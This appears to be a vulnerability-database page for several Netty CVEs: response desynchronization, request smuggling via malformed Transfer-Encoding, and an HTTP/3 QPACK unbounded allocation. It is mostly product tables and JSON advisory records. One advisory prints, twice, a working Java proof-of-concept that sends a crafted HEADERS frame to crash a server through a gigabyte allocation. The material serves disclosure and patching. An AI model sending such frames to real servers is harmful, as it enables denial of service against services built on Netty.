| Red Hat | Cryostat 4 on RHEL 9 |
Unaffected:
4.2.0-10 , < *
(rpm)
cpe:/a:redhat:cryostat:4::el9 |
|
| Red Hat | Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:apache_camel_spring_boot:4.18 |
|
| Red Hat | Red Hat build of Quarkus 3.27.4 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:quarkus:3.27::el8 |
|
| Red Hat | Red Hat build of Quarkus 3.33.2 |
cpe:/a:redhat:quarkus:3.33::el8 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783443816 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780948325 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780696380 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780694994 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.29 |
Unaffected:
1782989027 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.29::el9 |
|
| Red Hat | OpenShift Serverless |
cpe:/a:redhat:serverless:1 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat AMQ Clients |
cpe:/a:redhat:amq_clients:2023 |
|
| Red Hat | Red Hat build of Apache Camel 4 for Quarkus 3 |
cpe:/a:redhat:camel_quarkus:3 |
|
| Red Hat | Red Hat build of Apicurio Registry 2 |
cpe:/a:redhat:service_registry:2 |
|
| Red Hat | Red Hat build of Apicurio Registry 3 |
cpe:/a:redhat:apicurio_registry:3 |
|
| Red Hat | Red Hat build of Debezium 3 |
cpe:/a:redhat:debezium:3 |
|
| Red Hat | Red Hat Build of Keycloak |
cpe:/a:redhat:build_keycloak: |
|
| Red Hat | Red Hat build of OptaPlanner 8 |
cpe:/a:redhat:optaplanner:::el6 |
|
| Red Hat | Red Hat Data Grid 8 |
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat Enterprise Linux AI (RHEL AI) 3 |
cpe:/a:redhat:enterprise_linux_ai:3 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | streams for Apache Kafka 2 |
cpe:/a:redhat:amq_streams:2 |
|
| Red Hat | streams for Apache Kafka 3 |
cpe:/a:redhat:amq_streams:3 |
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CVE-2026-42584 (GCVE-0-2026-42584)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:10 – Updated: 2026-07-21 12:05
VLAI
EPSS
VEX
Title
Netty: HttpClientCodec response desynchronization
Summary
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Severity
7.3 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Assigner
References
11 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://access.redhat.com/security/cve/CVE-2026-42584 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477224 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:28010 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:42644 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:25123 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:36820 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:37390 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:23808 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24502 | vendor-advisoryx_refsource_REDHAT |
Impacted products
32 products
| Vendor | Product | Version | |
|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| io.netty | netty-codec-http |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| Red Hat | Cryostat 4 on RHEL 9 |
Unaffected:
4.2.0-10 , < *
(rpm)
cpe:/a:redhat:cryostat:4::el9 |
|
| Red Hat | Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:apache_camel_spring_boot:4.18 |
|
| Red Hat | Red Hat build of Quarkus 3.27.4 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:quarkus:3.27::el8 |
|
| Red Hat | Red Hat build of Quarkus 3.33.2 |
cpe:/a:redhat:quarkus:3.33::el8 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783443816 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780948325 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780696380 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780694994 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.29 |
Unaffected:
1782989027 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.29::el9 |
|
| Red Hat | OpenShift Serverless |
cpe:/a:redhat:serverless:1 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat AMQ Clients |
cpe:/a:redhat:amq_clients:2023 |
|
| Red Hat | Red Hat build of Apache Camel 4 for Quarkus 3 |
cpe:/a:redhat:camel_quarkus:3 |
|
| Red Hat | Red Hat build of Apicurio Registry 2 |
cpe:/a:redhat:service_registry:2 |
|
| Red Hat | Red Hat build of Apicurio Registry 3 |
cpe:/a:redhat:apicurio_registry:3 |
|
| Red Hat | Red Hat build of Debezium 3 |
cpe:/a:redhat:debezium:3 |
|
| Red Hat | Red Hat Build of Keycloak |
cpe:/a:redhat:build_keycloak: |
|
| Red Hat | Red Hat build of OptaPlanner 8 |
cpe:/a:redhat:optaplanner:::el6 |
|
| Red Hat | Red Hat Data Grid 8 |
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat Enterprise Linux AI (RHEL AI) 3 |
cpe:/a:redhat:enterprise_linux_ai:3 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | streams for Apache Kafka 2 |
cpe:/a:redhat:amq_streams:2 |
|
| Red Hat | streams for Apache Kafka 3 |
cpe:/a:redhat:amq_streams:3 |
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"value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-444",
"description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
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"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
}
],
"source": {
"advisory": "GHSA-57rv-r2g8-2cj3",
"discovery": "UNKNOWN"
},
"title": "Netty: HttpClientCodec response desynchronization"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42584",
"datePublished": "2026-05-13T18:10:48.437Z",
"dateReserved": "2026-04-28T17:26:12.086Z",
"dateUpdated": "2026-07-21T12:05:10.586Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42585 (GCVE-0-2026-42585)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:12 – Updated: 2026-05-15 20:34
VLAI
EPSS
VEX
Title
Netty: HTTP Request Smuggling due to malformed Transfer-Encoding
Summary
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Severity
6.5 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| io.netty | netty-codec-http |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42585",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-15T20:33:59.288432Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-15T20:34:21.305Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-http",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-444",
"description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
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"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
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"references": [
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"tags": [
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],
"url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
}
],
"source": {
"advisory": "GHSA-38f8-5428-x5cv",
"discovery": "UNKNOWN"
},
"title": "Netty: HTTP Request Smuggling due to malformed Transfer-Encoding"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42585",
"datePublished": "2026-05-13T18:12:39.586Z",
"dateReserved": "2026-04-28T17:26:12.086Z",
"dateUpdated": "2026-05-15T20:34:21.305Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-2C5C-CHWR-9HQW
Vulnerability from github – Published: 2026-05-07 00:19 – Updated: 2026-06-30 22:27
VLAI
Summary
Netty HTTP/3 QPACK literal unbounded allocation
Details
Summary
When Netty decodes HTTP/3 headers, it sometimes runs new byte[length] using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).
Details
When decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length].
PoC
The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target new byte[length].
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
AtomicReference<Throwable> serverErrors = new AtomicReference<>();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.initialMaxStreamDataBidirectionalRemote(1_000_000)
.initialMaxStreamsBidirectional(100)
.tokenHandler(InsecureQuicTokenHandler.INSTANCE)
.handler(new ChannelInitializer<QuicChannel>() {
@Override
protected void initChannel(QuicChannel ch) {
ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
ch.pipeline().addLast(new Http3ServerConnectionHandler(
new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverErrors.set(cause.getCause());
} else {
serverErrors.set(cause);
}
}
}));
}
})
.build();
Channel server = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(serverCodec)
.bind("127.0.0.1", 0)
.sync()
.channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
.sslContext(clientContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10000000)
.initialMaxStreamDataBidirectionalLocal(1000000)
.build();
Channel client = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(clientCodec)
.bind(0)
.sync()
.channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client)
.handler(new Http3ClientConnectionHandler())
.remoteAddress(server.localAddress())
.localAddress(client.localAddress())
.connect()
.get();
QuicStreamChannel rawStream =
quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
header.writeByte(0x01);
header.writeByte(0x08);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x27);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x04);
rawStream.writeAndFlush(header).sync();
assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
server.close().sync();
client.close().sync();
} finally {
group.shutdownGracefully();
}
}
Impact
The server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large byte[] allocations during QPACK literal decoding.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http3"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42582"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:19:21Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "### Summary\nWhen Netty decodes HTTP/3 headers, it sometimes runs `new byte[length]` using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).\n\n### Details\nWhen decoding header blocks, the non-Huffman branch of `io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral` may execute `new byte[length]` for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that `length \u003c= in.readableBytes()` before `new byte[length]`.\n\n### PoC\nThe test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1\u202fGiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target `new byte[length]`.\n\n```java\n @Test\n public void test() throws Exception {\n EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n try {\n X509Bundle cert = new CertificateBuilder()\n .subject(\"cn=localhost\")\n .setIsCertificateAuthority(true)\n .buildSelfSigned();\n\n QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n AtomicReference\u003cThrowable\u003e serverErrors = new AtomicReference\u003c\u003e();\n CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n .sslContext(serverContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10_000_000)\n .initialMaxStreamDataBidirectionalLocal(1_000_000)\n .initialMaxStreamDataBidirectionalRemote(1_000_000)\n .initialMaxStreamsBidirectional(100)\n .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n @Override\n protected void initChannel(QuicChannel ch) {\n ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n ch.pipeline().addLast(new Http3ServerConnectionHandler(\n new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverErrors.set(cause.getCause());\n } else {\n serverErrors.set(cause);\n }\n }\n }));\n }\n })\n .build();\n\n Channel server = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(serverCodec)\n .bind(\"127.0.0.1\", 0)\n .sync()\n .channel();\n\n QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n .trustManager(InsecureTrustManagerFactory.INSTANCE)\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n .sslContext(clientContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10000000)\n .initialMaxStreamDataBidirectionalLocal(1000000)\n .build();\n\n Channel client = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(clientCodec)\n .bind(0)\n .sync()\n .channel();\n\n QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n .handler(new Http3ClientConnectionHandler())\n .remoteAddress(server.localAddress())\n .localAddress(client.localAddress())\n .connect()\n .get();\n\n QuicStreamChannel rawStream =\n quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n ByteBuf header = Unpooled.buffer();\n header.writeByte(0x01);\n header.writeByte(0x08);\n\n header.writeByte(0x00);\n header.writeByte(0x00);\n\n header.writeByte(0x27);\n header.writeByte(0x80);\n header.writeByte(0x80);\n header.writeByte(0x80);\n header.writeByte(0x80);\n header.writeByte(0x04);\n\n rawStream.writeAndFlush(header).sync();\n\n assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());\n\n quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n server.close().sync();\n client.close().sync();\n } finally {\n group.shutdownGracefully();\n }\n }\n```\n\n### Impact\nThe server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large `byte[]` allocations during QPACK literal decoding.",
"id": "GHSA-2c5c-chwr-9hqw",
"modified": "2026-06-30T22:27:49Z",
"published": "2026-05-07T00:19:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-2c5c-chwr-9hqw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42582"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty HTTP/3 QPACK literal unbounded allocation"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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